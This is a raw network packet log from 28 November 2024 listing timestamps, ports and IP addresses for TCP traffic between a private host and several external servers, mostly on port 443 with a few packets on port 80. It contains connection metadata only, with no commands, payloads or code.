Nov 28, 2024 13:09:59.163305998 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.164073944 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.164092064 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.166676998 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.166702032 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.166991949 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.167267084 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.167280912 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.206777096 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.206831932 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.206928015 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.207531929 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.207531929 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.207550049 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.207556009 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.211888075 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.211910963 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.211999893 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.212027073 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.212629080 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.212680101 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.212819099 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.212819099 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.212836981 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.212847948 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.213360071 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.213390112 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.213439941 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.213459015 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.213712931 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.219295025 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.219347000 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.219599962 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.221373081 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.221380949 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.221390009 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.221401930 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.223082066 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.223098040 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.223270893 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.224987984 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.225019932 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.225076914 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.225373983 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.225387096 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.229262114 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.229295015 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.229526997 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.229753971 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.229768991 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.229888916 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:59.229902983 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:59.613337994 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:59.733879089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:59.733956099 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:10:00.580780029 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.580811024 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.580825090 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.580887079 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:10:00.580915928 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.581021070 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:10:00.615664005 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.615699053 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.615747929 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.615760088 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:10:00.615820885 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:10:00.628523111 CET	49747	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:10:00.628537893 CET	443	49747	4.245.163.56	192.168.2.4
Nov 28, 2024 13:10:00.884737015 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:00.885742903 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:00.885761976 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:00.886188984 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:00.886197090 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:00.949413061 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:00.949955940 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:00.949981928 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:00.950393915 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:00.950398922 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.012857914 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.014067888 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.014096022 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.014465094 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.014473915 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.014897108 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.015594006 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.015607119 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.016057014 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.016062975 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.027640104 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.028364897 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.028409004 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.029320955 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.029334068 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.320564985 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.320637941 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.320694923 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.320946932 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.320971966 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.320986032 CET	49754	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.320991993 CET	443	49754	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.323575974 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.323618889 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.323682070 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.323887110 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.323901892 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.395967007 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.396028996 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.396080017 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.396336079 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.396351099 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.396368027 CET	49753	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.396373034 CET	443	49753	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.400304079 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.400341034 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.400394917 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.400887012 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.400902033 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.456578970 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.456640959 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.456726074 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.456929922 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.456944942 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.456998110 CET	49755	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.457004070 CET	443	49755	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.458992004 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.459022999 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.459110975 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.459326029 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.459336042 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.459548950 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.459600925 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.463161945 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.463238001 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.463251114 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.463262081 CET	49757	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.463267088 CET	443	49757	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.465111971 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.465152025 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.465240955 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.465395927 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.465409994 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.472403049 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.472460985 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.472532034 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.472757101 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.472771883 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.472799063 CET	49756	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.472805023 CET	443	49756	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.474657059 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.474668026 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:01.475188017 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.475368977 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:01.475379944 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.109047890 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.183309078 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.184338093 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.184366941 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.185039997 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.185045958 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.237890959 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.237922907 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.240910053 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.240916014 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.244262934 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.246555090 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.248554945 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.248565912 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.249061108 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.249066114 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.321592093 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.362268925 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.362397909 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.521998882 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.521998882 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.522023916 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.522032022 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.555094004 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.555116892 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.556375980 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.556410074 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.556415081 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.556435108 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.556523085 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.557001114 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.557001114 CET	49758	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.557025909 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.557037115 CET	443	49758	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.628559113 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.628608942 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.628882885 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.690342903 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.690418005 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.695152044 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.733576059 CET	49759	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.733597040 CET	443	49759	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.793291092 CET	49760	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.793325901 CET	443	49760	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.849069118 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.849128962 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.849221945 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:03.890255928 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.890319109 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:03.890428066 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.502635956 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.502635956 CET	49761	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.502712965 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.502743006 CET	443	49761	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.607300043 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.607332945 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.607347965 CET	49762	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.607355118 CET	443	49762	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.643619061 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.643652916 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.643729925 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.681159973 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.681210995 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.684387922 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.684436083 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.684509993 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.684741974 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.684761047 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.687516928 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.687541962 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.687701941 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.695805073 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.695817947 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.697098970 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.697122097 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.697184086 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.697365046 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.697376013 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.742155075 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.742180109 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:04.742255926 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.841974020 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:04.841990948 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.399475098 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.428169012 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.428195953 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.428750038 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.428759098 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.462810040 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.471136093 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.471175909 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.472157001 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.472162962 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.476710081 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.478308916 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.482840061 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.482861042 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.483522892 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.483529091 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.484390020 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.484409094 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.484993935 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.485001087 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.557550907 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.561857939 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.561872959 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.562283039 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.562287092 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.844079971 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.844140053 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.844218969 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.897825003 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.897861004 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.897921085 CET	49764	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.897929907 CET	443	49764	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.908133984 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.908181906 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.908243895 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.922022104 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.922091007 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.922179937 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.922728062 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.922800064 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.922928095 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.929032087 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.929048061 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.929156065 CET	49766	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.929162979 CET	443	49766	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.935548067 CET	49763	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.935570002 CET	443	49763	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.990502119 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.990502119 CET	49765	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:06.990519047 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.990529060 CET	443	49765	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.992605925 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.992656946 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:06.992937088 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.544567108 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.544585943 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.544600964 CET	49767	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.544606924 CET	443	49767	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.546252966 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.546298981 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.546381950 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.548641920 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.548679113 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.548739910 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.639060020 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.639081955 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.639491081 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.639516115 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.647622108 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.647650957 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.647723913 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.648423910 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.648439884 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.650923014 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.650958061 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.651154041 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.680073977 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.680099964 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.680221081 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.681561947 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.681582928 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:07.719896078 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:07.719917059 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:08.028892994 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:08.028925896 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:08.029010057 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:08.029231071 CET	49784	443	192.168.2.4	142.250.181.68
Nov 28, 2024 13:10:08.029247046 CET	443	49784	142.250.181.68	192.168.2.4
Nov 28, 2024 13:10:09.421431065 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.423726082 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.423726082 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.423753023 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.423762083 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.429411888 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.430345058 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.430382967 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.431386948 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.431396961 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.435400963 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.436306953 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.436327934 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.436969995 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:09.436975956 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:09.486556053 CET	443	49778	13.107.246.63	192.168.2.4
